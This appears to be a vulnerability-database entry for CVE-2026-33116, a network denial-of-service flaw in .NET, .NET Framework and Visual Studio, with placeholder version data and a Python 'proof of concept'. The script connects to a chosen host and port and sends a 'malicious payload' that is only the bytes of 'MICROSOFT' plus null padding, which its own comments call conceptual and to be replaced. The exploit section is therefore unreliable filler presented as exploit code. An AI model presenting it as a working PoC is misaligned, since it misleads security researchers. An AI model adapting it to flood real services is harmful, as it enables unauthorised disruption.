Loop with unreachable exit condition ('infinite loop') in .NET, .NET Framework, Visual Studio allows an unauthorized attacker to deny service over a network.
cpe:2.3:o:microsoft:windows_10_1809:-:*:*:*:*:*:arm64:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:-:*:*:*:*:*:x64:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:-:*:*:*:*:*:x86:* - NOT VULNERABLE
.NET Framework (Specific versions TBD, see MSRC)
.NET (Specific versions TBD, see MSRC)
Visual Studio (Specific versions TBD, see MSRC)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual Proof of Concept for CVE-2026-33116
# This script demonstrates a network trigger for the Infinite Loop DoS.
# Note: Actual payload requires specific protocol analysis.
import socket
import sys
def send_dos_packet(target_ip, target_port):
"""
Sends a crafted packet to trigger the infinite loop.
"""
try:
# Establish connection
print(f"[*] Connecting to {target_ip}:{target_port}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
# Malformed payload designed to hit the vulnerable parsing logic
# Replace with actual bytes based on vulnerability analysis
payload = b"\x4d\x49\x43\x52\x4f\x53\x4f\x46\x54" + b"\x00" * 1000
print("[*] Sending malicious payload...")
s.send(payload)
print("[+] Payload sent. Monitor target CPU usage for spike.")
s.close()
except Exception as e:
print(f"[-] Error occurred: {e}")
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python poc.py <target_ip> <target_port>")
else:
send_dos_packet(sys.argv[1], int(sys.argv[2]))